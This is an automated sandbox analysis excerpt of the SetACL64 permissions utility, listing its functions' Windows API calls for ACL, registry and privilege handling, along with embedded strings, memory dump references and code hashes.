GetAce.ADVAPI32 ref: 00007FF7C172D09A
DeleteAce.ADVAPI32 ref: 00007FF7C172D0C8
GetAclInformation.ADVAPI32 ref: 00007FF7C172D122
GetLastError.KERNEL32 ref: 00007FF7C172D12C
GetAce.ADVAPI32 ref: 00007FF7C172D16A
DeleteAce.ADVAPI32 ref: 00007FF7C172D188
GetAclInformation.ADVAPI32 ref: 00007FF7C172D1E5
GetLastError.KERNEL32 ref: 00007FF7C172D1EF
GetAce.ADVAPI32 ref: 00007FF7C172D22A
DeleteAce.ADVAPI32 ref: 00007FF7C172D258
GetAclInformation.ADVAPI32 ref: 00007FF7C172D2CD
GetLastError.KERNEL32 ref: 00007FF7C172D2D7
GetAce.ADVAPI32 ref: 00007FF7C172D30A
DeleteAce.ADVAPI32 ref: 00007FF7C172D330
GetAclInformation.ADVAPI32 ref: 00007FF7C172D39E
GetLastError.KERNEL32 ref: 00007FF7C172D3A8
IsValidSid.ADVAPI32 ref: 00007FF7C172BD43

Part of subcall function 00007FF7C173EC20: IsValidSid.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7C1740410), ref: 00007FF7C173EC37
Part of subcall function 00007FF7C173EC20: GetLengthSid.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7C1740410), ref: 00007FF7C173EC44
Part of subcall function 00007FF7C173EC20: CopySid.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7C1740410), ref: 00007FF7C173EC68

IsValidSid.ADVAPI32 ref: 00007FF7C172BD7C
LocalFree.KERNEL32 ref: 00007FF7C172E358
LocalFree.KERNEL32 ref: 00007FF7C172E368
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E41F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E425
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E42B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E431
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E437
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E43D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E443
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E449

Part of subcall function 00007FF7C171BF60: GetLastError.KERNEL32 ref: 00007FF7C171BFCE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E44F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E455
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E461
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E467
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E46D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E479
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E47F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E485
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E491
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E497
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E49D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4A3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4A9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4B5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4CD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4D9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4DF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4EB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E4FD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E503
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E509
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E515
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E51B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172E521

Strings

Processing ACL of: <, xrefs: 00007FF7C172C35C
SetEntriesInAcl for DACL of <, xrefs: 00007FF7C172D9BF
> failed with: , xrefs: 00007FF7C172C8AD, 00007FF7C172CB3A, 00007FF7C172D9D7, 00007FF7C172DCA9, 00007FF7C172E0F7
Writing SD to <, xrefs: 00007FF7C172E0DD
SetEntriesInAcl for SACL of <, xrefs: 00007FF7C172DC91
Reading the SD from <, xrefs: 00007FF7C172C893, 00007FF7C172CB20
> because a filter keyword matched., xrefs: 00007FF7C172C152
Omitting ACL of: <, xrefs: 00007FF7C172C138
Write2SD, xrefs: 00007FF7C172C1AF, 00007FF7C172C3D8, 00007FF7C172C924, 00007FF7C172CBB1, 00007FF7C172DA4E, 00007FF7C172DD20, 00007FF7C172E16E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLast$Information$Delete$Valid$FreeLocal$CopyLength
String ID: > because a filter keyword matched.$> failed with: $Omitting ACL of: <$Processing ACL of: <$Reading the SD from <$SetEntriesInAcl for DACL of <$SetEntriesInAcl for SACL of <$Write2SD$Writing SD to <
API String ID: 3366768055-1688761767
Opcode ID: 8c702df0ce635fb3871e4a0553cb4715271af5242ae0ef260948fefd7f14e07d
Instruction ID: 184d0a05e9c608dc038ae5c86e2532ec0fdf160d6081a258b27a17f66ffb8907
Opcode Fuzzy Hash: 8c702df0ce635fb3871e4a0553cb4715271af5242ae0ef260948fefd7f14e07d
Instruction Fuzzy Hash: D733E272A1878285EB20EF26D8447EDA3A1FB497A4F804131DA5D47BDADFBCE585C310

Function 00007FF7C172A350 Relevance: 54.2, APIs: 16, Strings: 14, Instructions: 1740registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1740C18: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1740C35
Part of subcall function 00007FF7C1740C18: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF7C1740C58
Part of subcall function 00007FF7C1740C18: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C1740CF3

SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C172B36E
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C172B461
RegConnectRegistryW.ADVAPI32 ref: 00007FF7C172B530
RegOpenKeyExW.KERNELBASE ref: 00007FF7C172B57A
RegCreateKeyExW.KERNELBASE ref: 00007FF7C172B5D7
RegCloseKey.ADVAPI32 ref: 00007FF7C172B66A
RegCloseKey.ADVAPI32 ref: 00007FF7C172B68E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172B6FE
RegEnumKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000001A1), ref: 00007FF7C172B812
RegEnumKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000001A1), ref: 00007FF7C172B913
RegCloseKey.ADVAPI32 ref: 00007FF7C172B935
RegCloseKey.ADVAPI32 ref: 00007FF7C172B9EB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC21
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC27
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC2D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC33

Strings

hkcu, xrefs: 00007FF7C172B39A
hklm, xrefs: 00007FF7C172A7D8
machine, xrefs: 00007FF7C172AA18, 00007FF7C172AB7F
current_user, xrefs: 00007FF7C172B3F6, 00007FF7C172B456
RegKeyFixPathAndOpen, xrefs: 00007FF7C172B610
hkey_local_machine, xrefs: 00007FF7C172A8F8
hkey_users, xrefs: 00007FF7C172AD15
users, xrefs: 00007FF7C172AE38, 00007FF7C172AF9F
hkey_current_user, xrefs: 00007FF7C172B3C9
hkcr, xrefs: 00007FF7C172B012
hku, xrefs: 00007FF7C172ABF5
hkey_classes_root, xrefs: 00007FF7C172B139
classes_root, xrefs: 00007FF7C172B256, 00007FF7C172B363
Unintentionally the following registry key was created: <, xrefs: 00007FF7C172B5E9

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Close$EnumLockitSimpleString::operator=std::_$ConnectCreateLockit::_Lockit::~_OpenRegistrySetgloballocalestd::locale::_
String ID: RegKeyFixPathAndOpen$Unintentionally the following registry key was created: <$classes_root$current_user$hkcr$hkcu$hkey_classes_root$hkey_current_user$hkey_local_machine$hkey_users$hklm$hku$machine$users
API String ID: 2754268630-3593729730
Opcode ID: 706d74c401a7eba7e1d9deaebb3a5822d64d4f896357cd9c5b521f9506353fbc
Instruction ID: d7c45289fadb91d4506b982c6d8fb25b431a50ad90e9958d8f525fba19bf132d
Opcode Fuzzy Hash: 706d74c401a7eba7e1d9deaebb3a5822d64d4f896357cd9c5b521f9506353fbc
Instruction Fuzzy Hash: 22F2B122B09B42C5EF10EF66D4402BDA3A1FB88BA4F954135DA4E07B9ADFBCD545C360

Function 00007FF7C1736B2A Relevance: 39.1, APIs: 21, Strings: 1, Instructions: 609registryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7C1736CF4
GetKernelObjectSecurity.ADVAPI32 ref: 00007FF7C1736D6D
GetLastError.KERNEL32 ref: 00007FF7C1736D8E
GetKernelObjectSecurity.ADVAPI32 ref: 00007FF7C1736E07
CloseHandle.KERNEL32 ref: 00007FF7C1736E30
RegCloseKey.ADVAPI32 ref: 00007FF7C1736E43
GetNamedSecurityInfoW.ADVAPI32 ref: 00007FF7C1736F15
MakeAbsoluteSD.ADVAPI32 ref: 00007FF7C1737021
GetLastError.KERNEL32 ref: 00007FF7C1737027
GetLastError.KERNEL32 ref: 00007FF7C1737032
MakeAbsoluteSD.ADVAPI32 ref: 00007FF7C17371D8
IsValidSid.ADVAPI32 ref: 00007FF7C17371E9
IsValidSid.ADVAPI32 ref: 00007FF7C173721B
LocalFree.KERNEL32 ref: 00007FF7C173724F
IsValidSecurityDescriptor.ADVAPI32 ref: 00007FF7C173726F
GetLastError.KERNEL32 ref: 00007FF7C1737347
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173743A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737440
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737446
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173744C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737452

Strings

SeSecurityPrivilege, xrefs: 00007FF7C1736B73

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastSecurity$Valid$AbsoluteCloseKernelMakeObject$CreateDescriptorFileFreeHandleInfoLocalNamed
String ID: SeSecurityPrivilege
API String ID: 3247214862-2333288578
Opcode ID: 054ea4d1a2d6c0b3adbe8e4b57b4ca5633b3a582fabd17bd529d99db77766a5b
Instruction ID: c4d16990089a1e9978aaf8a4d3ef57f9d45dbf2172b3914dac22a36576166efb
Opcode Fuzzy Hash: 054ea4d1a2d6c0b3adbe8e4b57b4ca5633b3a582fabd17bd529d99db77766a5b
Instruction Fuzzy Hash: EE42A072B1874286FB14EF26D44436DA3A1FB48BA8FC04135DA4C57A9ADFBCE561C360

Function 00007FF7C1723A5E Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AdjustTokenPrivileges.KERNELBASE ref: 00007FF7C1723A86
GetLastError.KERNEL32 ref: 00007FF7C1723A90
FindCloseChangeNotification.KERNELBASE ref: 00007FF7C1723A9F
GetLastError.KERNEL32 ref: 00007FF7C1723AA9
CloseHandle.KERNEL32 ref: 00007FF7C1723AB6
GetCurrentProcess.KERNEL32 ref: 00007FF7C1723CC0
OpenProcessToken.ADVAPI32 ref: 00007FF7C1723CD3
GetLastError.KERNEL32 ref: 00007FF7C1723CDD

Strings

SeTakeOwnershipPrivilege, xrefs: 00007FF7C1723F39
Privilege 'Restore files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right, xrefs: 00007FF7C1723E37
Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with , xrefs: 00007FF7C17240F4
SeRestorePrivilege, xrefs: 00007FF7C1723C7C
Privilege 'Back up files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right, xrefs: 00007FF7C1723B7A
Prepare, xrefs: 00007FF7C1723BAA, 00007FF7C1723E67, 00007FF7C1724124

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$CloseProcessToken$AdjustChangeCurrentFindHandleNotificationOpenPrivileges
String ID: Prepare$Privilege 'Back up files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right$Privilege 'Restore files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right$Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with $SeRestorePrivilege$SeTakeOwnershipPrivilege
API String ID: 596220290-1541018277
Opcode ID: 784cef284bd62b761dc482660273cd6918b6e7e394081ec7e667ddc71951a65c
Instruction ID: ac90694353ef193aec2b6cceb0f84730b87cee635175ebcca07711e85a17869f
Opcode Fuzzy Hash: 784cef284bd62b761dc482660273cd6918b6e7e394081ec7e667ddc71951a65c
Instruction Fuzzy Hash: 3622A472B1878281EB04DF56E444369A361FB897F4F905135EA9D43AEADFBCE085C710

Function 00007FF7C173E4B0 Relevance: 21.5, APIs: 11, Strings: 1, Instructions: 483
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSidToSidW.ADVAPI32 ref: 00007FF7C173E511
LocalFree.KERNEL32 ref: 00007FF7C173E52E
DsGetDcNameW.NETAPI32 ref: 00007FF7C173E891
NetApiBufferFree.NETAPI32 ref: 00007FF7C173E90B

Part of subcall function 00007FF7C1740C18: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1740C35
Part of subcall function 00007FF7C1740C18: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF7C1740C58
Part of subcall function 00007FF7C1740C18: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C1740CF3

Part of subcall function 00007FF7C173F3C0: LookupAccountNameW.ADVAPI32 ref: 00007FF7C173F44D
Part of subcall function 00007FF7C173F3C0: GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,FFFFFFFF,?,00000001,00007FF7C173E9EF), ref: 00007FF7C173F453
Part of subcall function 00007FF7C173F3C0: GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,FFFFFFFF,?,00000001,00007FF7C173E9EF), ref: 00007FF7C173F45E

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EBEF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EBFB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EC01
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EC07
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EC0D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EC13
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173EC19

Strings

computername, xrefs: 00007FF7C173E73B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorFreeLastLockitNamestd::_$AccountBufferConvertLocalLockit::_Lockit::~_LookupSetgloballocaleStringstd::locale::_
String ID: computername
API String ID: 1703289946-1800712684
Opcode ID: 16028561b5196d3668939a84b08cd2e3c1b912715faf0080cf177397a5bfcfa2
Instruction ID: 8326e1b8e59295722186241ef7f704be1e1d5316c92c87dbfd19babd664f2942
Opcode Fuzzy Hash: 16028561b5196d3668939a84b08cd2e3c1b912715faf0080cf177397a5bfcfa2
Instruction Fuzzy Hash: E522C062B14B5285FB00AF6AD8443AD6371BB487A8FC05635DF5D17ADADFB8E481C320

Function 00007FF7C1723D1B Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 345
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AdjustTokenPrivileges.KERNELBASE ref: 00007FF7C1723D43
GetLastError.KERNEL32 ref: 00007FF7C1723D4D
CloseHandle.KERNEL32 ref: 00007FF7C1723D5C
GetLastError.KERNEL32 ref: 00007FF7C1723D66
CloseHandle.KERNEL32 ref: 00007FF7C1723D73
GetCurrentProcess.KERNEL32 ref: 00007FF7C1723F7D
OpenProcessToken.ADVAPI32 ref: 00007FF7C1723F90
GetLastError.KERNEL32 ref: 00007FF7C1723F9A

Strings

SeTakeOwnershipPrivilege, xrefs: 00007FF7C1723F39
Privilege 'Restore files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right, xrefs: 00007FF7C1723E37
Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with , xrefs: 00007FF7C17240F4
Prepare, xrefs: 00007FF7C1723E67, 00007FF7C1724124

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: Prepare$Privilege 'Restore files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right$Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with $SeTakeOwnershipPrivilege
API String ID: 637398405-1701055250
Opcode ID: 37c1be51e2417e488a72d3dcc0cf2b981f55e4b54b9d20b9a241d83790859c59
Instruction ID: c77cc8134237ee559abf351430eb185c8b09e6fc28fb277a0563e36015b18200
Opcode Fuzzy Hash: 37c1be51e2417e488a72d3dcc0cf2b981f55e4b54b9d20b9a241d83790859c59
Instruction Fuzzy Hash: 30E1A5B2B1874281EB04DF56E044369A361FB897F4F905135EA9E43AEADFBCE095C710

Function 00007FF7C171D304 Relevance: 16.8, APIs: 11, Instructions: 288
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7C171D335
GetCurrentThreadId.KERNEL32 ref: 00007FF7C171D35F
GetUserNameExW.SECUR32 ref: 00007FF7C171D39C
GetLastError.KERNEL32 ref: 00007FF7C171D3A6
GetUserNameExW.SECUR32 ref: 00007FF7C171D3DC
GetLastError.KERNEL32 ref: 00007FF7C171D3E6
LeaveCriticalSection.KERNEL32 ref: 00007FF7C171D52A

Part of subcall function 00007FF7C171EA60: WaitForSingleObject.KERNEL32 ref: 00007FF7C171EA79
Part of subcall function 00007FF7C171EA60: ResetEvent.KERNEL32 ref: 00007FF7C171EABC
Part of subcall function 00007FF7C171EA60: ReleaseMutex.KERNEL32 ref: 00007FF7C171EAC6
Part of subcall function 00007FF7C171EA60: SetEvent.KERNEL32 ref: 00007FF7C171EAD0

LeaveCriticalSection.KERNEL32 ref: 00007FF7C171D662

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalErrorEventLastLeaveNameSectionTimeUser$CurrentFileMutexObjectReleaseResetSingleSystemThreadWait
String ID:
API String ID: 3424761043-0
Opcode ID: 82ea7e4afd397da255eb45e089590796cd57700379ab681c382546437c843004
Instruction ID: f33a3d762309f7401753515b5881d6949de4979e9e9b18c20200d0c3aa29824e
Opcode Fuzzy Hash: 82ea7e4afd397da255eb45e089590796cd57700379ab681c382546437c843004
Instruction Fuzzy Hash: 4CC1B032B14A4286EB00EF66D4482ACB371FB497A8FA14631DE5C5779ADFBCE444C760

Function 00007FF7C1723FD8 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AdjustTokenPrivileges.KERNELBASE ref: 00007FF7C1724000
GetLastError.KERNEL32 ref: 00007FF7C172400A
CloseHandle.KERNEL32 ref: 00007FF7C1724019
GetLastError.KERNEL32 ref: 00007FF7C1724023
CloseHandle.KERNEL32 ref: 00007FF7C1724030

Strings

Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with , xrefs: 00007FF7C17240F4
Prepare, xrefs: 00007FF7C1724124

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CloseErrorHandleLast$AdjustPrivilegesToken
String ID: Prepare$Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with
API String ID: 1992325626-2245062721
Opcode ID: 711c004ea780279e093e6d90f040bc076e91dc0aa13779505b0cf60af36ac5f3
Instruction ID: e34f28846aa2088b9c98576b79db7238deead4a202d10370752c75767d7b71f6
Opcode Fuzzy Hash: 711c004ea780279e093e6d90f040bc076e91dc0aa13779505b0cf60af36ac5f3
Instruction Fuzzy Hash: 1AA1B2B2B1864282EF14DF56E0443A9A361FB89BF4F805135EA5E476D6DFBCE091C710

Function 00007FF7C1756C40 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C1753E64: GetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753E73
Part of subcall function 00007FF7C1753E64: SetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753F11

TranslateName.LIBCMT ref: 00007FF7C1756CAD
TranslateName.LIBCMT ref: 00007FF7C1756CE8
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF7C1749674), ref: 00007FF7C1756D2D
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF7C1749674), ref: 00007FF7C1756D55

Strings

utf8, xrefs: 00007FF7C1756E39

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValid
String ID: utf8
API String ID: 2136749100-905460609
Opcode ID: 06256d3170ea4477562b1b0a5136ccd5b8742c98d410ffa777cce2510612fae9
Instruction ID: c03797136905016451a3b6d16ef0eeb9f7aabe5708e430a1565069f1577d95ca
Opcode Fuzzy Hash: 06256d3170ea4477562b1b0a5136ccd5b8742c98d410ffa777cce2510612fae9
Instruction Fuzzy Hash: 5A917631A09B8285EB24BF22D4202B9A355FB4CBA0FD44531EA4D47697DFBCE552C760

Function 00007FF7C17013F0 Relevance: 4.5, APIs: 3, Instructions: 31synchronizationCOMMON

